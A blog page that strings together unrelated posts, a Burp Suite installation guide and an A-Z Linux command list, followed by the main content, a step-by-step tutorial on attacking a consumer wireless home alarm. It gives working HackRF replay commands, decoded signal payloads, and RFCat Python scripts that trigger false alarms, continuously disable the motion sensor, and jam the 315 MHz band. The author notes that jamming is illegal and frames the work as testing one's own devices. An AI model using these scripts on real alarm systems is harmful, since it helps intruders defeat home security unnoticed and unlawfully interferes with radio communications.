Sunday, May 17, 2020

BurpSuite Introduction & Installation



What is BurpSuite?
Burp Suite is a Java based Web Penetration Testing framework. It has become an industry standard suite of tools used by information security professionals. Burp Suite helps you identify vulnerabilities and verify attack vectors that are affecting web applications. Because of its popularity and breadth as well as depth of features, we have created this useful page as a collection of Burp Suite knowledge and information.

In its simplest form, Burp Suite can be classified as an Interception Proxy. While browsing their target application, a penetration tester can configure their internet browser to route traffic through the Burp Suite proxy server. Burp Suite then acts as a (sort of) Man In The Middle by capturing and analyzing each request to and from the target web application so that they can be analyzed.











Everyone has their favorite security tools, but when it comes to mobile and web applications I've always found myself looking BurpSuite . It always seems to have everything I need and for folks just getting started with web application testing it can be a challenge putting all of the pieces together. I'm just going to go through the installation to paint a good picture of how to get it up quickly.

BurpSuite is freely available with everything you need to get started and when you're ready to cut the leash, the professional version has some handy tools that can make the whole process a little bit easier. I'll also go through how to install FoxyProxy which makes it much easier to change your proxy setup, but we'll get into that a little later.

Requirements and assumptions:

Mozilla Firefox 3.1 or Later Knowledge of Firefox Add-ons and installation The Java Runtime Environment installed

Download BurpSuite from http://portswigger.net/burp/download.htmland make a note of where you save it.

on for Firefox from   https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/


If this is your first time running the JAR file, it may take a minute or two to load, so be patient and wait.


Video for setup and installation.




You need to install compatible version of java , So that you can run BurpSuite.

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Learn A-Z Kali_Linux Commands For Beginerrs

Iemhacker-linux-command-for-beginner

All commands (A-Z) for Kali Linux here:
A
apropos Search Help manual pages (man -k)
apt-get Search for and install software packages (Debian/Ubuntu)
aptitude Search for and install software packages (Debian/Ubuntu)
aspell Spell Checker
awk Find and Replace text, database sort/validate/index
B
basename Strip directory and suffix from filenames
bash GNU Bourne-Again SHell
bc Arbitrary precision calculator language
bg Send to background
break Exit from a loop •
builtin Run a shell builtin
bzip2 Compress or decompress named file(s)
C
cal Display a calendar
case Conditionally perform a command
cat Concatenate and print (display) the content of files
cd Change Directory
cfdisk Partition table manipulator for Linux
chgrp Change group ownership
chmod Change access permissions
chown Change file owner and group
chroot Run a command with a different root directory
chkconfig System services (runlevel)
cksum Print CRC checksum and byte counts
clear Clear terminal screen
cmp Compare two files
comm Compare two sorted files line by line
command Run a command – ignoring shell functions •
continue Resume the next iteration of a loop •
cp Copy one or more files to another location
cron Daemon to execute scheduled commands
crontab Schedule a command to run at a later time
csplit Split a file into context-determined pieces
cut Divide a file into several parts
D
date Display or change the date & time
dc Desk Calculator
dd Convert and copy a file, write disk headers, boot records
ddrescue Data recovery tool
declare Declare variables and give them attributes •
df Display free disk space
diff Display the differences between two files
diff3 Show differences among three files
dig DNS lookup
dir Briefly list directory contents
dircolors Colour setup for `ls'
dirname Convert a full pathname to just a path
dirs Display list of remembered directories
dmesg Print kernel & driver messages
du Estimate file space usage
E
echo Display message on screen •
egrep Search file(s) for lines that match an extended expression
eject Eject removable media
enable Enable and disable builtin shell commands •
env Environment variables
ethtool Ethernet card settings
eval Evaluate several commands/arguments
exec Execute a command
exit Exit the shell
expect Automate arbitrary applications accessed over a terminal
expand Convert tabs to spaces
export Set an environment variable
expr Evaluate expressions
F
false Do nothing, unsuccessfully
fdformat Low-level format a floppy disk
fdisk Partition table manipulator for Linux
fg Send job to foreground
fgrep Search file(s) for lines that match a fixed string
file Determine file type
find Search for files that meet a desired criteria
fmt Reformat paragraph text
fold Wrap text to fit a specified width.
for Expand words, and execute commands
format Format disks or tapes
free Display memory usage
fsck File system consistency check and repair
ftp File Transfer Protocol
function Define Function Macros
fuser Identify/kill the process that is accessing a file
G
gawk Find and Replace text within file(s)
getopts Parse positional parameters
grep Search file(s) for lines that match a given pattern
groupadd Add a user security group
groupdel Delete a group
groupmod Modify a group
groups Print group names a user is in
gzip Compress or decompress named file(s)
H
hash Remember the full pathname of a name argument
head Output the first part of file(s)
help Display help for a built-in command •
history Command History
hostname Print or set system name
I
iconv Convert the character set of a file
id Print user and group id's
if Conditionally perform a command
ifconfig Configure a network interface
ifdown Stop a network interface
ifup Start a network interface up
import Capture an X server screen and save the image to file
install Copy files and set attributes
J
jobs List active jobs •
join Join lines on a common field
K
kill Stop a process from running
killall Kill processes by name
L
less Display output one screen at a time
let Perform arithmetic on shell variables •
ln Create a symbolic link to a file
local Create variables •
locate Find files
logname Print current login name
logout Exit a login shell •
look Display lines beginning with a given string
lpc Line printer control program
lpr Off line print
lprint Print a file
lprintd Abort a print job
lprintq List the print queue
lprm Remove jobs from the print queue
ls List information about file(s)
lsof List open files
M
make Recompile a group of programs
man Help manual
mkdir Create new folder(s)
mkfifo Make FIFOs (named pipes)
mkisofs Create an hybrid ISO9660/JOLIET/HFS filesystem
mknod Make block or character special files
more Display output one screen at a time
mount Mount a file system
mtools Manipulate MS-DOS files
mtr Network diagnostics (traceroute/ping)
mv Move or rename files or directories
mmv Mass Move and rename (files)
N
netstat Networking information
nice Set the priority of a command or job
nl Number lines and write files
nohup Run a command immune to hangups
notify-send Send desktop notifications
nslookup Query Internet name servers interactively
O
open Open a file in its default application
op Operator access
P
passwd Modify a user password
paste Merge lines of files
pathchk Check file name portability
ping Test a network connection
pkill Stop processes from running
popd Restore the previous value of the current directory
pr Prepare files for printing
printcap Printer capability database
printenv Print environment variables
printf Format and print data •
ps Process status
pushd Save and then change the current directory
pwd Print Working Directory
Q
quota Display disk usage and limits
quotacheck Scan a file system for disk usage
quotactl Set disk quotas
R
ram ram disk device
rcp Copy files between two machines
read Read a line from standard input •
readarray Read from stdin into an array variable •
readonly Mark variables/functions as readonly
reboot Reboot the system
rename Rename files
renice Alter priority of running processes
remsync Synchronize remote files via email
return Exit a shell function
rev Reverse lines of a file
rm Remove files
rmdir Remove folder(s)
rsync Remote file copy (Synchronize file trees)
S
screen Multiplex terminal, run remote shells via ssh
scp Secure copy (remote file copy)
sdiff Merge two files interactively
sed Stream Editor
select Accept keyboard input
seq Print numeric sequences
set Manipulate shell variables and functions
sftp Secure File Transfer Program
shift Shift positional parameters
shopt Shell Options
shutdown Shutdown or restart linux
sleep Delay for a specified time
slocate Find files
sort Sort text files
source Run commands from a file `.'
split Split a file into fixed-size pieces
ssh Secure Shell client (remote login program)
strace Trace system calls and signals
su Substitute user identity
sudo Execute a command as another user
sum Print a checksum for a file
suspend Suspend execution of this shell •
symlink Make a new name for a file
sync Synchronize data on disk with memory
T
tail Output the last part of file
tar Tape ARchiver
tee Redirect output to multiple files
test Evaluate a conditional expression
time Measure Program running time
times User and system times
touch Change file timestamps
top List processes running on the system
traceroute Trace Route to Host
trap Run a command when a signal is set(bourne)
tr Translate, squeeze, and/or delete characters
true Do nothing, successfully
tsort Topological sort
tty Print filename of terminal on stdin
type Describe a command •
U
ulimit Limit user resources •
umask Users file creation mask
umount Unmount a device
unalias Remove an alias •
uname Print system information
unexpand Convert spaces to tabs
uniq Uniquify files
units Convert units from one scale to another
unset Remove variable or function names
unshar Unpack shell archive scripts
until Execute commands (until error)
uptime Show uptime
useradd Create new user account
userdel Delete a user account
usermod Modify user account
users List users currently logged in
uuencode Encode a binary file
uudecode Decode a file created by uuencode
V
v Verbosely list directory contents (`ls -l -b')
vdir Verbosely list directory contents (`ls -l -b')
vi Text Editor
vmstat Report virtual memory statistics
W
wait Wait for a process to complete •
watch Execute/display a program periodically
wc Print byte, word, and line counts
whereis Search the user's $path, man pages and source files for a program
which Search the user's $path for a program file
while Execute commands
who Print all usernames currently logged in
whoami Print the current user id and name (`id -un')
wget Retrieve web pages or files via HTTP, HTTPS or FTP
write Send a message to another user
X
xargs Execute utility, passing constructed argument list(s)
xdg-open Open a file or URL in the user's preferred application.
yes Print a string until interrupted
. Run a command script in the current shell
!! Run the last command again

Related word


Hacking Everything With RF And Software Defined Radio - Part 1


This will be a Mini Course on Attacking Devices with RF from a hackers perspective


I wanted to learn about hacking devices using radio frequencies(RF) as their communication mechanism , so I looked around the Internet and only found a few scattered tutorials on random things which were either theoretical or narrowly focused. So I bought some hardware and some tools and decided to figure it out myself. The mission was to go from knowing nothing to owning whatever random devices I could find which offer up a good target with multiple avenues of attack and capability for learning.  The devices and tools needed are posted below. As we attack more devices, we will post more info on those devices.
You can follow us online at the following if your really bored:
Twitter: @Ficti0n , GarrGhar
Site: CCLabs.io


Items needed to Follow Along: 

Purchase Target: 

Home Alert System: https://goo.gl/W56Eau
I settled on hacking a home alert system for the first blog, which contained the following Items: 
  • A doorBell
  • Motion Sensors with alarm alerts
  • Door sensors to alert when the door is opened
  • Home Hub Receiver

Purchase Tools Needed: 

HackRF: https://goo.gl/3trM5Q
YardStick: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR


Penetration Testing BrainStorming Session: 

I brainstormed with a friend the following attack avenues for this device: 
  • Ring the doorbell  (Our Hello World) 
  • Trigger the motion sensors
  • Remotely disable the motion sensors
  • Jam frequencies for Denial Of Service 

This blog will cover all of the attacks performed, including code, data captures, so you can follow along even if you don't have all of the exact devices but want to play around with it yourself. These are the the topics covered so you can decide if you want to read further or watch the associated videos linked below. 

  • Using HackRF for RF Replay attacks 
  • Using Yardstick One for Replay attacks 
  • Demodulating and decoding signals for use with RF attacks 
  • Discovering and troubleshooting issues
  • Coding tools in python and RFCat
  • RF Jamming Attacks


Video Series PlayList Associated with this blog: 




Initial Profiling of our Device: 

What does our device do in normal operation?   
Taking a look at all the components, there is a receiving station which sets off alarms based on opening doors, motion from a motion sensor and the pressing of a doorbell.  

How do they Connect?
All of these devices are only connected to each other via wireless, they are not connected to any sort of local network or wires. So they are all communicating in an unknown frequency we need determine before we can start hacking them. 

Determining the Frequency: 
To profile our device for the frequency its transmitting on we can use the FCID located on the back of any of the transmitters. We can do this by going to https://fccid.io/ and typing in the FCID from the back of our device. This will provide data sheets, and test reports which contain the information needed to sniff our devices radio transmissions. This site also contains internal device pictures which are useful if you wanted to try hardware hacking. For example looking for Integrated Circuits(IC) numbers or debug interfaces. In this case we only care about the RF frequencies our device is using which happens to be the 315MHz as show below from the fccid website. 




Replay attacks with HackRF To Trigger / Disable Sensors: 

Armed with the frequency range only and no other information we decided to see if we can just blindly capture and replay a transmissions raw form to perform actions without the legitimate transmitters and without understanding anything. 

Below is a photo of the HackRF One hardware used in the first attack and linked above. 


Install HackRF Software: 

Install on OS X for HackRF is as simple as using Brew install, on Linux use the package manager for your distro: 
  • brew install hackrf
  • Plug in HackRF and type hackrf_info to confirm its working

Our Hello World attack is a simple replay attack of a raw capture to perform a normal operation initiated by HackRF instead of the device. We can perform this attack without understanding anything about the capture and decoding of signals. 

With the HackRF device and 2 simple commands we will capture the transmission and then replay it as if it was from the initial device in its raw format.  The following 2 commands are listed below.  The -r is used to receive and the -t is used to transmit (RX, TX) you will also notice a -R on the transmit command which continuously repeats in TX mode denoted by "Input file end reached. Rewind to beginning" within the transmit output below. We use this in case the first transmission is not seen by the device. The other switches are for gain. 

Simple Replay Commands: 

hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
hackrf_transfer -t connector.raw -f 315000000 -x 40 -R

By using these commands we can capture the motion sensor transmission and replay it in raw format to create a false alarm, we can also capture the doorbell transmission and trigger an alarm.  Output of the commands needed to do this are shown below. The video associated with this blog shows the audio and visual output from the alarm system as well as a video form of this blog.  

Receive: (Capture Traffic from HackRF): 

Destroy: ficti0n$ sudo hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_freq(315000000 Hz/315.000 MHz)
Stop with Ctrl-C
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.004 sec = 19.9 MiB/second
20.2 MiB / 1.005 sec = 20.1 MiB/second
^CCaught signal 2
 5.2 MiB / 0.257 sec = 20.4 MiB/second

Exiting...
Total time: 4.27196 s
hackrf_stop_rx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done
exit

Transmit: (Trigger alarm from HackRF) 

Destroy: ficti0n$ sudo hackrf_transfer -t connector.raw -f 315000000 -x 40 -R
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_freq(315000000 Hz/315.000 MHz)
Stop with Ctrl-C
19.9 MiB / 1.000 sec = 19.9 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.005 sec = 20.1 MiB/second
20.2 MiB / 1.000 sec = 20.2 MiB/second
Input file end reached. Rewind to beginning.
20.2 MiB / 1.005 sec = 20.1 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.000 sec = 20.2 MiB/second
^CCaught signal 2
12.8 MiB / 0.654 sec = 19.7 MiB/second

Exiting...
Total time: 12.68557 s
hackrf_stop_tx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done
exit

While this is a good POC that we can communicate with the door alert system, this did not provide much of a learning opportunity nor did it drastically reduce the effectiveness of the security system. It only provides false alarms of standard functionality. Lets try doing this the more complicated way by profiling the device a bit more, capturing traffic, reducing the wave patterns to binary, converting to hex and then sending it over another device for a bit more precision and learning opportunity.  This will also open up other attack vectors. This sounds complicated, but honestly its not complicated just a bit tedious to get right at first. 

Further Profiling our Devices Functionality: 

We are easily able to replay functionality when initiating actions ourselves with our HackRF, but what else is going on with the radio transmissions? In order to monitor the transmissions in a very simple way we can use tools such as GQRX with either our HackRF device or an inexpensive SDR Dongle and view the 315MHz radio frequency to see whats happening. 

GQRX Install:

You can grab GQRX from the following location for OSX,  on linux whatever package manager your distro uses should be sufficient for installing GQRX: 

Plug in your SDR dongle of choice (HackRF or RTL-SDR, load up GQRX, and select your device, in this case a cheap 19 dollar RTL SDR: 





Select OK and the interface will load up, I made the following changes.

  • I changed the mode under receiver options on the right hand side to AM for Amplitude modulation.
  • I changed the MHz at the top to 315000000 since that is what we saw on the fccid.io data sheets. 
  • I then hit play and could view the 315 MHz frequency range. 

When triggering any of the transmit devices I saw a spike in the frequency close to the 315 MHz range.  I then held down the doorbell button since this transmit device would just keep replaying over and over while pressed. While this was repeating I dragged the bar to match the frequency exactly. Which was actually roughly 314.991.600 give or take. 



I then triggered the motion sensor and saw a similar spike in frequency, but I also noticed the motion sensor transmitter sends a 2nd transmission after about 6 seconds to shut off the light on the receiver hub that no more motion is happening. A little testing showed this  will disable the alarm from triggering during a limited time period.  

Can we replay the Motion Sensor Turn off?? 
I tried to repeat the simple replay attack of turning off the motion sensor with HackRF, however unless your capture timing is perfect to reduce any extra data the sensor disable is rather spotty and still sometimes triggers an alarm. Even with a short capture the raw file was 40mb in size. If you were to try to breach a building and disable its sensors there is a 50% chance or so the motion sensor will be triggered.  So this is not a sufficient method of disabling the motion sensor alarm. I only want a 100% chance of success if I was to try to bypass a security system.  So we need another technique.  I read online a bit and found something about decoding signal patterns into binary which sounded like a good way to reduce the extra data for a more reliable alarm bypass and decided to start with the simple doorbell as a test due to its ease of use, prior to working with less reliable transmissions based on motion and timing.  



Decoding Signal Patterns for Sending With The YardStick One: 

Below is a picture of the yard Stick tool used in the following attacks


Documented Process: 

Based on my online research in order to capture a signal and retransmit using a yardstick we need to do the following: 

  • Record the transmission with the SDR dongle and GQRX
  • Demodulate and Decode with Audacity into binary (1s & 0s)
  • Convert the Binary to Hex (0x)
  • Replay with YardStick in python and RFCat libraries 

Troubleshooting Extra Steps: 

However I found a few issues with this process and added a few more steps below. I am not trying to pretend everything worked perfectly. I ran into a few problems and these trouble shooting steps fixed the issues I ran into and I will list them below and explain them in this section as we walk through the process: 

  • Record your YardStick Replay with GQRX and adjust the frequency again based on output
  • Compare your transmission waveform to that of the original transmitters waveform to insure your 1's & 0's were calculated properly
  • Add some  padding in form of \x00 to the end of your Hex to make it work. 
  • Adjust the number of times you repeat your transmissions

Record Transmission with GQRX: 

OK so first things first, load your GQRX application and this time hit the record button at the bottom right side prior to triggering the doorbell transmitter. This will save a Wav file you can open in audacity. 

Install Audacity: 

You can download audacity at the following link for OSX as well as other platforms. http://www.audacityteam.org/download/  You should also be able to use your distro's package management to install this tool if it is not found on the site. 

If you open up your wav file and zoom in a little with Command+1 or the zoom icon you should start to see a repeating pattern similar to this: 



We need to decode one of these to trigger the doorbell. So we will need to zoom in a bit further to see a full representation of one of these patterns.  Once we zoom in a bit more we see the following output which is wave form representation of your transmission. The high points are your 1's and the low points are your 0's: 



Decode to binary: 

So the main issue here is how many 1's and how many 0's are in each peak or valley??   Originally I was thinking that it was something like the following formatted in 8 bit bytes, but this left over an extra 1 which seemed odd so I added 7 0's to make it fit correctly.  (Probably incorrect but hey it worked LOLs) 
10111000 10001011 10111000 10001000 10001011 10111011 10000000

What the above binary means is that the first high peek was One 1 in length, the first low peek was One 0 in length and the larger low and high's were Three 111s in length. This seemed reasonable based on how it looks.  

Try converting it yourself, does it look like my representation above? 

Convert to Hex:

In order to send this to the receiver device we will need to convert it to hex. We can convert this to hex easily online at the following URL: 

Or you can use radare2 and easily convert to hex by formatting your input into 8 bit byte segments followed by a "b" for binary as follows and it will spit out some hex values you can then use to reproduce the transmission with the yardstick: 

Destroy:~ ficti0n$ rax2 10111000b 10001011b 10111000b 10001000b 10001011b 10111011b 10000000b
0xb8
0x8b
0xb8
0x88
0x8b
0xbb
0x80

In order to send this with the YardStick you will need to use a python library by the name of RFCat which interfaces with your Yardstick device and can send your Hex data to your receiver.  We can easily do this with python. Even if you do not code it is very simple code to understand.  In order to install RFCat you can do the following on OSX:  (Linux procedures should be the same) 

Install RFCat and Dependencies(libusb, pyusb): 

git clone https://github.com/atlas0fd00m/rfcat.git
cd rfcat/
sudo python setup.py install
cd ../
git clone https://github.com/walac/pyusb.git
cd pyusb/
sudo python setup.py install
easy install pip
pip install libusb
Plug in your device and run the following to verify: 
rfcat -r


Setting up your python Replay Attack: 

First convert our hex from 0xB8 format to \xB8 format and place it in the following code:
Hex Conversion for the python script: 
\xb8\x8b\xb8\x88\x8b\xbb\x80

I provided a few notations under the code to help understanding but its mostly self explanatory: 

#--------Ring the doorbell--------#: 
from rflib import *

d = RfCat()   #1
d.setFreq(315005000)  #2
d.setMdmModulation(MOD_ASK_OOK) #3
d.setMdmDRate(4800) #4 

print "Starting"
d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80"*10) #5
print 'Transmission Complete'

#--------End Code --------#
#1 Creating a RfCat instance
#2 Setting your Frequency to the capture range from your GQRX output
#3 Setting the modulation type to ASK Amplitude shift keying
#4 Setting your capture rate to that of your GQRX capture settings 
#5 Transmit your Hex 10 times

Ring Doorbell with Yardstick (First Attempt): 

Plug your YardStick into the USB port and run the above code. This will send over your command to ring the doorbell. 

Destroy:ficti0n$ python Door.py
Starting
Transmission Complete

However, this will fail and we have no indication as to why it failed. There are no program errors, or Rfcat errors. The only thing I could think is that that we sent the wrong data, meaning we incorrectly decoded the wave into binary. So I tried a bunch of different variations on the original for example the short lows having Two 1's instead of One and all of these failed when sending with the Yardstick. 


Doorbell with Yardstick (TroubleShooting): 

I needed a better way to figure out what was going on. One way to verify what you sent is to send it again with the Yardstick and capture it with your RTL-SDR device in GQRX. You can then compare the pattern we sent with the yardstick, to the original transmission pattern by the transmitter device. 

The first thing you will notice when we capture a Yardstick transmission is the output is missing the nice spacing between each transmission as there was in the original transmission. This output is all mashed together: 




If we keep zooming in we will see a repeating pattering like the following which is our 10 transmissions repeating over and over: 




If we keep zooming in further we can compare the output from the original capture to the new capture and you will notice it pretty much looks the same other then its hard to get the zoom levels exactly the same in the GUI: 






Hmmm ok so the pattern looks correct but the spacing between patterns is smashed together. After a bit of searching online I came across a piece of code which was unrelated to what I was trying to do but sending RF transmissions with \x00\x00\x00 padding at the end of the hex.  This makes sense in the context of our visual representation above being all mashed up. So I tried this and it still failed.  I then doubled it to 6 \x00's and the doorbell went off. So basically we just needed padding. 

Also I should note that you can put as much padding as you want at the end.. I tried as much as 12 \x00 padding elements and the doorbell still went off. I also then tried a few variations of my binary decoding and some of those which were slightly off actually rang the doorbell. So some variance is tolerated at least with this device.  Below is the working code :)   


Our Hello World test is a SUCCESS. But now we need to move on to something that could bypass the security of the device and cause real world issues. 

The following updated code will ring the doorbell using padding: 
#--------Ring the doorbell--------#: 
from rflib import *

d = RfCat()
d.setFreq(315005000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

print ("Starting Transmission")
d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80\x00\x00\x00\x00\x00\x00"*10)
print ("Transmission Complete")
#--------End Code --------#


Disable the Motion Sensor with No Motion Feature:

Ok so originally our simple HackRF replay had about a 50% success rate on turning off the motion sensor due to extraneous data in the transmission replay and timing issues. Lets see if we can get that to 100% with what we learned about decoding from the doorbell. We will instead decode the signal pattern sent from the transmitter to the receiver when shutting off the alert light, but without extra data. We will send it directly with a Yardstick over and over again and potentially use the devices own functionality to disable itself. This would allow us to walk past the motion sensors without setting off an alert. 
The question is can we take the transmission from the Motion Sensor to the Receiver Hub which says motion has ended and use that to disable the Motion Sensor based on a slight delay between saying "there is no motion" and being ready to alert again and bypass the motion sensors security.  Lets give it a try by capturing the "motion has ended" transmission with GQRX when the motion sensor sends its packet to the receiver 6 seconds after initial alert and decode the pattern.. 

Below is a screenshot of the "Motion has ended) transmission in audacity: 



So this sequence was a bit different, there was an opening sequence followed by a repeating sequence.  Lets decode both of these patterns and then determine what we need to send in order to affect the devices motion turnoff functionality.  Below is the zoomed in version of the opening sequence and repeating sequence followed by an estimation of what I think the conversion is. 




The opening sequence appears to have all the highs in single 1's format and most of the lows in 3 000's format, below is the exact conversion that I came up with adding some 0's at the end to make the correct byte length… 

See what you can come up with,  does it match what I have below? 

10001000 10100010 10001010 00101000 10101000 10001010 00101000 10100000

If we convert that to hex we get the following: 
Destroy:ficti0n$ rax2 10001000b 10100010b 10001010b 00101000b 10101000b 10001010b 00101000b 10100000b
0x88
0xa2
0x8a
0x28
0xa8
0x8a
0x28
0xa0

Hex Conversion for the python script: 
\x88\xa2\x8a\x28\xa8\x8a\x28\xa0


Next up is our repeating pattern which has a similar but slightly different structure then the opening pattern. This one starts with a 101 instead of 1000 but still seems to have all of its 1's in single representations and most of its lows in sets of 3 000's. Below the screenshot is the the binary I came up with.. Write it out and see if you get the same thing? 




Repeating Pattern:
10100010 10100010 10001000 10100010 10001010 00101000 10101000 10100010 10001010 00101000

Hex Conversion:  (Used the online tool, R2 didn't like this binary for some reason) 
\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28

Testing / Troubleshooting: 

I first tried sending only the repeating sequence under the assumption the opening sequence was a fluke but that did not work. 
I then tried sending only the opening sequence and that didn't work either.  
I combined the first part with a repeating 2nd part for 10 iterations 
The alert light immediately turned off on the device when testing from an alerting state, and from all states stopped alerting completely
Note(My light no longer turns off, I think I broke it or something LOL, or my setup at the time was different to current testing) 

In order to send the first part and the second part we need to send it so that we have padding between each sequence and in a way that only the second part repeats, we can do that the following way: 
d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)

The above is very simple, to explain:

  • First add in your opening patterns HEX values
  • Pad that with 6 \x00 for spacing
  • Add the second patterns HEX values and add that with 6 \x00
  • Now multiply the second part by 10 since in the wave output this part was repeating

Below is the full code to do this, it is the same as the doorbell code with the new line from above and a While 1 loop that never stops so that the device is fully disabled using its own functionality against it :)  
SUCCESS

As a quick test if you intentionally trip the sensor and immediately send this code the BEEP BEEP BEEP will be cut short to a single BEEP also the light may turn off depending how its configured. In all cases the motion sensor capability will be disabled. If you turn this script on at any time the sensor is completely disabled until you stop your transmission:

#--------Disable The Motion Sensor --------#: 
from rflib import *

d = RfCat()
d.setFreq(315005000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

while 1:  #Added a loop to keep the sensor disabled
print ("Starting Transmission")
d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)
print ("Transmission Complete")
#--------End Code --------#




Jamming RF With Python: 

Bypassing the sensors worked, but then I got thinking, so what if the company puts out a new patch and I am no longer able to turn off the sensors by using the devices functionality against itself? Or what if I wanted to bypass the door alert when the door is opened and it breaks the connection?  The door alert does not have a disable signal sent back to the receiver, it always alerts when separated. 

RF Jamming and the FCC: 

One way we can do this is with RF Jamming attacks. However, it should be noted that Jamming is technically ILLEGAL in the US on all frequencies. So in order to test this in a Legal way you will need a walk in Faraday cage to place your equipment and do some testing. This way you will not interfere with the operation of other devices on the frequency that you are jamming. 


From the FCC: https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf

"We caution consumers that it is against the law to use a cell or GPS jammer or any other type of device that blocks, jams or interferes with authorized communications, as well as to import, advertise, sell, or ship such a device. The FCC Enforcement Bureau has a zero tolerance policy in this area and will take aggressive action against violators. "


Notes On the reality of Criminals: 

It should also be noted that if a criminal is trying to break into your house or a building protected by an alert system that uses wireless technologies, he is probably not following FCC guidelines. So assume if you can attack your alarm system in the safety of a Faraday cage.  Your alarm system is vulnerable to attack by any criminal. A fair assumption when penetration testing an alarm system your considering for install.  You may want devices which are hardwired in as a backup. 

There has always been Jammers for things like Cellphones, WiFi networks. With the introduction of affordable software defined radio devices an attacker can jam the 315 frequency to disable your alert system as a viable attack.  A simple python script can kill a device in the 315 range and make it in-operable. 

Jamming in Python: 

I found the below script to be 100% effective while testing within a Faraday enclosure. Basically  the device pauses in its current operational state, idle state or a alert light state, the device will remain in that state indefinitely until the jamming attack is stopped and the devices are manually reset.

Use a Faraday cage for your security testing: 

If you use the below code make sure you use precautions such as Faraday cages to ensure the legal guidelines are met and you are not interfering with other devices in your area. You must assume that radios used by police, fire departments and other public safety activities could be blocked if you are not enclosing your signal. This code is purely for you to test your devices before installing them for the security of your assets. 

I call the below program RF_EMP,  not because its sending an electronic pulse but because similar to an EMP its disabling all devices in its range.  Which is why you need to use a Faraday cage so as not to interfere with devices you do not own. 
Below is a simple manually configurable version of this script. 


#--------RF_Emp.py Simple Version --------#: 

# For use within Faraday Enclosures only
from rflib import *

print "Start RF Jamming FTW"
d = RfCat()
d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(315000000)
d.setMdmSyncMode(0)
d.setMdmDRate(4800)
d.setMdmChanSpc(24000)
d.setModeIDLE()
d.setPower(100)
d.makePktFLEN(0)

print "Starting JAM Session,  Make sure your in your Faraday Enclosure..."
d.setModeTX() # start transmitting
raw_input("Unplug to stop jamming")
print 'done'
d.setModeIDLE() # This puts the YardStick in idle mode to stop jamming (Not convinced this works)
#--------End Code --------#

Notes on using Virtual Machines: 


You can do your RF testing on a virtual machine with pre-installed tools but its kind of sketchy and you might want to throw your Yardstick against the wall in a fury of anger when you have to unplug it after every transmission. After a few fits of blind rage I decided to install it natively so my tools work every time without removing the dongle after each transmission. 

Whats next: 

This is it for the first blog..  Other topics  will be discussed later, such as attacking devices in a blackbox assessment and configuring your own key fobs. Rolling code devices and bypassing their protections. Monitoring and attacking car components. If you have anything to add or would like to help out.. Feel free to comment and add to the discussion. 

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